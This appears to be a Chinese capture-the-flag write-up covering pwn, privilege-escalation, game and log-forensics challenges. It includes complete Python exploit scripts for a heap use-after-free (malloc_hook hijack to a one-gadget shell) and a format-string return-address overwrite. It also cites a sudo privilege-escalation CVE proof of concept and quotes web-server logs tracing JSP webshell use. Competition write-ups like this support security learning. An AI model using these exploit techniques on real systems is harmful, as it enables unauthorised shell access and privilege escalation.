李七庄驾校-铸剑杯线上初赛wp

PWN

我不吃牛肉

```
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  unsigned int seed; // eax

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("[+]Welcome to your new home!");
  puts("[+]While visiting, please note that the room numbers are incorrect.");
  puts("[+]Wish you can find your own room!!!");
  while ( 1 )
  {
    sub_A70();
    seed = sub_ABF();
    srand(seed);
    switch ( rand() % 4 )
    {
      case 0:
        sub_AE5();
        break;
      case 1:
        sub_B4A();
        break;
      case 2:
        sub_B8E();
        break;
      case 3:
        sub_C02();
        break;
      case 4:
        exit(0);
      default:
        puts("invalid choice.");
        break;
    }
  }
}
```

发现是一个菜单堆，功能引导是通过随机数，直接让AI写个交互脚本即可

发现存在uaf漏洞，libc版本为2.23，直接double free劫持malloc_hook为realloc调整栈帧，劫持realloc_hook为ogg即可拿到shell

代码块

```
from pwn import *
import ctypes
import sys

```

```python
# 配置
context.clear(arch='amd64', os='linux', log_level='debug')

# 使用ctypes调用libc的rand函数（更准确）
try:
    libc = ctypes.CDLL('libc.so.6')
    USE_CTYPES = True
except:
    USE_CTYPES = False
    log.warning("无法加载libc.so.6，将使用模拟实现")

# glibc rand() 实现模拟（如果无法使用ctypes）
class GlibcRand:
    def __init__(self, seed):
        self.state = [0] * 344
        self.state[0] = seed & 0xFFFFFFFF
        for i in range(1, 31):
            self.state[i] = (16807 * self.state[i-1]) % 2147483647
        for i in range(31, 34):
            self.state[i] = self.state[i-31]
        for i in range(34, 344):
            self.state[i] = (self.state[i-31] + self.state[i-3]) % 2147483647
        self.next = 344

    def rand(self):
        self.state[self.next % 344] = (self.state[(self.next - 31) % 344] +
                                       self.state[(self.next - 3) % 344]) % 2147483647
        result = self.state[self.next % 344] >> 1
        self.next += 1
        return result

# 根据参数选择本地或远程
io = remote(b'113.201.14.253',16017)

# 缓存seed映射以提高效率
_seed_cache = {}

def find_seed_for_choice(target_choice):
    """找到能产生目标选择的seed值"""
    # target_choice: 1=add, 2=delete, 3=edit, 4=show
    # rand() % 4 + 1 应该等于 target_choice

    # 检查缓存
    if target_choice in _seed_cache:
        return _seed_cache[target_choice]

```

```python
    if USE_CTYPES:
        # 使用真实的libc rand函数
        for seed in range(10000):
            libc.srand(seed)
            result = libc.rand() % 4 + 1
            if result == target_choice:
                _seed_cache[target_choice] = seed
                return seed
    else:
        # 使用模拟实现
        for seed in range(10000):
            r = GlibcRand(seed)
            result = r.rand() % 4 + 1
            if result == target_choice:
                _seed_cache[target_choice] = seed
                return seed

    # 如果没找到，返回None
    return None

def send_choice(choice, max_attempts=100):
    """发送选择（通过seed控制随机数）"""
    # choice: 1=add, 2=delete, 3=edit, 4=show, 5=exit
    # 尝试找到能产生目标选择的seed
    seed = find_seed_for_choice(choice)

    if seed is None:
        # 如果没找到，使用简单映射或提示用户
        log.warning(f"未找到seed for choice {choice}, 使用默认映射 seed={choice-1}")
        seed = choice - 1

    io.sendlineafter(b'choice:', str(seed).encode())
    return seed

def add(index, size):
    """添加一个chunk"""
    send_choice(1)  # add
    io.sendlineafter(b'index:', str(index).encode())
    io.sendlineafter(b'size:', str(size).encode())
    log.info(f'add({index}, {size})')

def delete(index):
    """删除一个chunk"""
    send_choice(2)  # delete
    io.sendlineafter(b'index:', str(index).encode())
    log.info(f'delete({index})')
```

```python

def edit(index, length, content):
    """编辑chunk内容（存在堆溢出漏洞）"""
    send_choice(3)  # edit
    io.sendlineafter(b'index:', str(index).encode())
    io.sendlineafter(b'length:', str(length).encode())
    io.sendlineafter(b'content:', content)
    log.info(f'edit({index}, {length}, {len(content)} bytes)')

def show(index):
    """显示chunk内容"""
    send_choice(4)  # show
    io.sendlineafter(b'index:', str(index).encode())
    log.info(f'show({index})')
    return io.recvuntil(b'\n', drop=True)

def exit_prog():
    """退出程序"""
    send_choice(5)  # exit

def test_random_mapping():
    """测试seed到choice的映射关系"""
    log.info("=== 测试seed到choice的映射 ===")
    seed_to_choice = {}

    if USE_CTYPES:
        for seed in range(100):
            libc.srand(seed)
            choice = libc.rand() % 4 + 1
            if choice not in seed_to_choice:
                seed_to_choice[choice] = seed
                log.info(f"Choice {choice} -> seed {seed}")
    else:
        for seed in range(100):
            r = GlibcRand(seed)
            choice = r.rand() % 4 + 1
            if choice not in seed_to_choice:
                seed_to_choice[choice] = seed
                log.info(f"Choice {choice} -> seed {seed}")

    return seed_to_choice

def exploit():
    """漏洞利用主函数"""
    io.recvuntil(b'[+]Welcome to your new home!')
    io.recvuntil(b'[+]While visiting, please note that the room numbers are incorrect.')
```

```python
    io.recvuntil(b'[+]Wish you can find your own room!!!')

    log.info("开始漏洞利用...")

    # 首先测试seed映射
    seed_map = test_random_mapping()
    log.info(f"找到的seed映射: {seed_map}")


    add(0,1060)
    add(2,0x68)
    add(3,0x68)
    add(12,0x68)
    add(13,0x68)
    add(1,16)
    delete(0)
    show(0)
    main = u64(io.recv(6).ljust(8,b'\x00'))
    base = main - 3951480
    print(hex(base))
    onegadget = [0x4527a,0xf03a4,0xf1247]
    one_gadget = base + onegadget[0]
    free_hook = base + 3958696
    malloc_hook = main - 88 - 0x10
    #gdb.attach(io)
    print(hex(free_hook))
    delete(12)
    delete(13)
    delete(12)
    edit(12,10,p64(main - 139))
    add(4,0x68)
    add(5,0x68)
    realloc = base + 542480
    edit(5,30,b'a'*11 + p64(one_gadget) + p64(realloc+6))
    #gdb.attach(io)
    print(hex(one_gadget))
    #gdb.attach(p)
    add(7,0x10)

    io.interactive()

if __name__ == '__main__':
    try:
        exploit()
    except KeyboardInterrupt:
        log.info("用户中断")
        io.close()
```

```
    except Exception as e:
        log.error(f"错误: {e}")
        import traceback
        traceback.print_exc()
        io.close()


```

我最好的初代同事

```
unsigned __int64 test_human()
{
  unsigned int seed; // eax
  int v2; // [rsp+Ch] [rbp-14h] BYREF
  int v3; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  seed = time(0LL);
  srand(seed);
  v3 = rand() % 100;
  v4 = rand() % 100;
  printf("what's %d add %d\n", v3, v4);
  __isoc99_scanf("%d", &v2);
  if ( v4 + v3 != v2 )
  {
    puts("You are not humam");
    exit(233333);
  }
  return __readfsqword(0x28u) ^ v5;
}
```

发现需要先做几个加法题目，这里也不用预测，直接pwntools交互即可出结果

```
unsigned __int64 talk_with_god()
{
  _QWORD buf[3]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
  puts("Input:");
  read(0, buf, 0x10uLL);
  printf("Your input:");
  printf((const char *)buf);
  return __readfsqword(0x28u) ^ v2;
}
```

之后是三次格式化字符串

第一次泄露栈地址，第二次修改三连地址指向返回地址，第三次直接修改返回地址低位为后门地址即可

```
代码块
```

```python
from pwn import *
import ctypes

context.clear(arch='amd64', os='linux', log_level='debug')

#p = process('./fmt_patched')
p = remote(b'113.201.14.253',48556)
for i in range(5):
    p.recvuntil(b"what's ")
    one = int(p.recv(2),10)
    p.recvuntil(b" add ")
    two = int(p.recv(2),10)
    print(one,b'+',two)
    p.sendline(str(one+two))

p.sendlineafter(b'[2]leave\n',str(1))
payload=b'%21$p'
p.sendlineafter(b'Input:\n',payload)
p.recvuntil(b'Your input:0x')
ret = int(p.recv(12),16) - 304
print(hex(ret))

p.sendlineafter(b'[2]leave\n',str(1))
payload='%{}c%21$hn'.format((ret)&0xffff).encode()
p.sendlineafter(b'Input:\n',payload)

#gdb.attach(p)
p.sendlineafter(b'[2]leave\n',str(1))
payload="%{}c%{}$hhn".format((0xE3)&0xff,49).encode()
p.sendlineafter(b'Input:\n',payload)

p.interactive()
```

InfoSEC

最近还好吗

根据题目知道是找cve 连接上ssh发现flag不能读 所有搜索linux提权相关的cve

经查找 找到CVE-2025-32463

发现没有运行sh文件的权限 所以手敲一遍exp

exp链接：https://github.com/Lusensec/CVE-2025-32463-POC/blob/main/CVE-2025-32463-POC.sh

Game

我勒个超级玛丽奥

直接关掉游戏 右键打开终端 直接读取flag

CDF

可恶的木马竟然伪装成我的朋友

发现有今年修改过的日志文件

这个月的早些时候			
access.log.1381795200	2025/11/6 19:38	1381795200 文件	350 KB
ex180223.log	2025/11/6 17:12	文本文档	1,495 KB
很久以前			
ex180227.log	2018/2/27 11:03	文本文档	2 KB
ex180222.log	2018/2/23 0:00	文本文档	1,300 KB
ex180221.log	2018/2/21 23:59	文本文档	192 KB

在这里面找到banner_home.jpg

```
183.62.9.42 - - [23/Feb/2018:21:02:00 +0800] "GET /sxzn/images/banner_home.jpg HTTP/1.1" 200 50428
183.62.9.42 - - [23/Feb/2018:21:02:00 +0800] "GET /sxzn/images/new.gif HTTP/1.1" 200 1816
183.62.9.42 - - [23/Feb/2018:21:02:00 +0800] "GET /sxzn/images/Search_icon.gif HTTP/1.1" 200 344
183.62.9.42 - - [23/Feb/2018:21:02:00 +0800] "GET /sxzn/images/new1.gif HTTP/1.1" 200 1724
183.62.9.42 - - [23/Feb/2018:21:02:00 +0800] "GET /sxzn/images/icon.gif HTTP/1.1" 200 119
183.62.9.42 - - [23/Feb/2018:21:02:02 +0800] "GET /favicon.ico HTTP/1.1" 404 988
183.62.9.42 - - [23/Feb/2018:21:02:02 +0800] "GET /favicon.ico HTTP/1.1" 404 988
183.62.9.42 - - [23/Feb/2018:21:02:20 +0800] "GET /sxzn/table.jsp HTTP/1.1" 404 997
113.95.12.85 - - [23/Feb/2018:21:02:29 +0800] "HEAD / HTTP/1.1" 302 -
113.95.12.85 - - [23/Feb/2018:21:02:30 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
183.62.9.42 - - [23/Feb/2018:21:02:32 +0800] "GET /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 272
183.62.9.42 - - [23/Feb/2018:21:02:42 +0800] "POST /sxzn/js/My97DatePicker/lang/en.jsp?act=login HTTP/1.1" 302 -
183.62.9.42 - - [23/Feb/2018:21:02:43 +0800] "GET /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 423
183.62.9.42 - - [23/Feb/2018:21:04:26 +0800] "POST /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 463
183.62.9.42 - - [23/Feb/2018:21:04:39 +0800] "GET /sxzn/2.jsp HTTP/1.1" 200 1271
111.192.102.34 - - [23/Feb/2018:21:04:50 +0800] "HEAD / HTTP/1.1" 302 -
111.192.102.34 - - [23/Feb/2018:21:04:50 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
111.206.71.109 - - [23/Feb/2018:21:05:04 +0800] "GET /sxzn/foreground/viewMetadata.action?id=214 HTTP/1.1" 200 9252
58.32.44.98 - - [23/Feb/2018:21:06:54 +0800] "HEAD / HTTP/1.1" 302 -
58.32.44.98 - - [23/Feb/2018:21:06:55 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
113.95.12.85 - - [23/Feb/2018:21:07:30 +0800] "HEAD / HTTP/1.1" 302 -
113.95.12.85 - - [23/Feb/2018:21:07:31 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
183.62.9.42 - - [23/Feb/2018:21:07:36 +0800] "GET / HTTP/1.1" 302 -
183.62.9.42 - - [23/Feb/2018:21:07:37 +0800] "GET /sxzn/index.action HTTP/1.1" 200 18639
183.62.9.42 - - [23/Feb/2018:21:07:38 +0800] "GET /sxzn/rand.action HTTP/1.1" 200 1222
183.62.9.42 - - [23/Feb/2018:21:07:43 +0800] "GET /sxzn/ HTTP/1.1" 200 18639
```

在后续发现图片马大小改变, 猜测成功被解析

```
183.62.9.42 - - [23/Feb/2018:21:18:27 +0800] "GET /sxzn/images/banner_home.jpg HTTP/1.1" 200 37756
183.62.9.42 - - [23/Feb/2018:21:18:27 +0800] "GET /sxzn/images/Search_icon.gif HTTP/1.1" 200 344
183.62.9.42 - - [23/Feb/2018:21:18:28 +0800] "GET /sxzn/images/new.gif HTTP/1.1" 200 1816
183.62.9.42 - - [23/Feb/2018:21:18:28 +0800] "GET /sxzn/images/new1.gif HTTP/1.1" 200 1724
183.62.9.42 - - [23/Feb/2018:21:18:28 +0800] "GET /sxzn/images/icon.gif HTTP/1.1" 200 119
183.62.9.42 - - [23/Feb/2018:21:18:29 +0800] "GET /favicon.ico HTTP/1.1" 404 988
183.62.9.42 - - [23/Feb/2018:21:18:30 +0800] "GET /favicon.ico HTTP/1.1" 404 988
183.62.9.42 - - [23/Feb/2018:21:19:11 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 13
183.62.9.42 - - [23/Feb/2018:21:19:20 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 2177
183.62.9.42 - - [23/Feb/2018:21:19:45 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 13
183.62.9.42 - - [23/Feb/2018:21:19:46 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 2177
111.192.102.34 - - [23/Feb/2018:21:19:50 +0800] "HEAD / HTTP/1.1" 302 -
111.192.102.34 - - [23/Feb/2018:21:19:50 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
183.62.9.42 - - [23/Feb/2018:21:20:20 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 2177
183.62.9.42 - - [23/Feb/2018:21:20:27 +0800] "POST /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 463
183.62.9.42 - - [23/Feb/2018:21:20:35 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 3
183.62.9.42 - - [23/Feb/2018:21:20:55 +0800] "GET /sxzn/2.jsp HTTP/1.1" 200 3
```

在接下来这个ip尝试访问不同的jsp webshell

```
183.62.9.42 - - [23/Feb/2018:21:02:00 +0800] "GET /sxzn/images/banner_home.jpg HTTP/1.1" 200 50428
183.62.9.42 - - [23/Feb/2018:21:02:00 +0800] "GET /sxzn/images/new.gif HTTP/1.1" 200 1816
183.62.9.42 - - [23/Feb/2018:21:02:00 +0800] "GET /sxzn/images/Search_icon.gif HTTP/1.1" 200 344
183.62.9.42 - - [23/Feb/2018:21:02:00 +0800] "GET /sxzn/images/new1.gif HTTP/1.1" 200 1724
183.62.9.42 - - [23/Feb/2018:21:02:00 +0800] "GET /sxzn/images/icon.gif HTTP/1.1" 200 119
183.62.9.42 - - [23/Feb/2018:21:02:02 +0800] "GET /favicon.ico HTTP/1.1" 404 988
183.62.9.42 - - [23/Feb/2018:21:02:02 +0800] "GET /favicon.ico HTTP/1.1" 404 988
183.62.9.42 - - [23/Feb/2018:21:02:20 +0800] "GET /sxzn/table.jsp HTTP/1.1" 404 997
113.95.12.85 - - [23/Feb/2018:21:02:29 +0800] "HEAD / HTTP/1.1" 302 -
113.95.12.85 - - [23/Feb/2018:21:02:30 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
183.62.9.42 - - [23/Feb/2018:21:02:32 +0800] "GET /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 272
183.62.9.42 - - [23/Feb/2018:21:02:42 +0800] "POST /sxzn/js/My97DatePicker/lang/en.jsp?act=login HTTP/1.1" 302 -
183.62.9.42 - - [23/Feb/2018:21:02:43 +0800] "GET /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 423
183.62.9.42 - - [23/Feb/2018:21:04:26 +0800] "POST /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 463
183.62.9.42 - - [23/Feb/2018:21:04:39 +0800] "GET /sxzn/2.jsp HTTP/1.1" 200 1271
111.192.102.34 - - [23/Feb/2018:21:04:50 +0800] "HEAD / HTTP/1.1" 302 -
111.192.102.34 - - [23/Feb/2018:21:04:50 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
111.206.71.109 - - [23/Feb/2018:21:05:04 +0800] "GET /sxzn/foreground/viewMetadata.action?id=214 HTTP/1.1" 200 9252
58.32.44.98 - - [23/Feb/2018:21:06:54 +0800] "HEAD / HTTP/1.1" 302 -
58.32.44.98 - - [23/Feb/2018:21:06:55 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
113.95.12.85 - - [23/Feb/2018:21:07:30 +0800] "HEAD / HTTP/1.1" 302 -
113.95.12.85 - - [23/Feb/2018:21:07:31 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200
```

```
183.62.9.42 - - [23/Feb/2018:21:14:22 +0800] "POST /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 463
183.62.9.42 - - [23/Feb/2018:21:14:28 +0800] "GET /sxzn/2.jsp HTTP/1.1" 200 12
111.192.102.34 - - [23/Feb/2018:21:14:50 +0800] "HEAD / HTTP/1.1" 302 -
111.192.102.34 - - [23/Feb/2018:21:14:50 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
183.62.9.42 - - [23/Feb/2018:21:16:06 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 59
183.62.9.42 - - [23/Feb/2018:21:16:07 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 789
183.62.9.42 - - [23/Feb/2018:21:16:19 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 596
183.62.9.42 - - [23/Feb/2018:21:16:34 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 160
183.62.9.42 - - [23/Feb/2018:21:16:37 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 508
183.62.9.42 - - [23/Feb/2018:21:16:41 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 80
183.62.9.42 - - [23/Feb/2018:21:16:45 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 482
183.62.9.42 - - [23/Feb/2018:21:16:52 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 789
58.32.44.98 - - [23/Feb/2018:21:16:54 +0800] "HEAD / HTTP/1.1" 302 -
58.32.44.98 - - [23/Feb/2018:21:16:55 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
183.62.9.42 - - [23/Feb/2018:21:17:04 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 2177
183.62.9.42 - - [23/Feb/2018:21:17:17 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 13
```

flag{2018-2-23/183.62.9.42/table.jsp-en.jsp-2.jsp}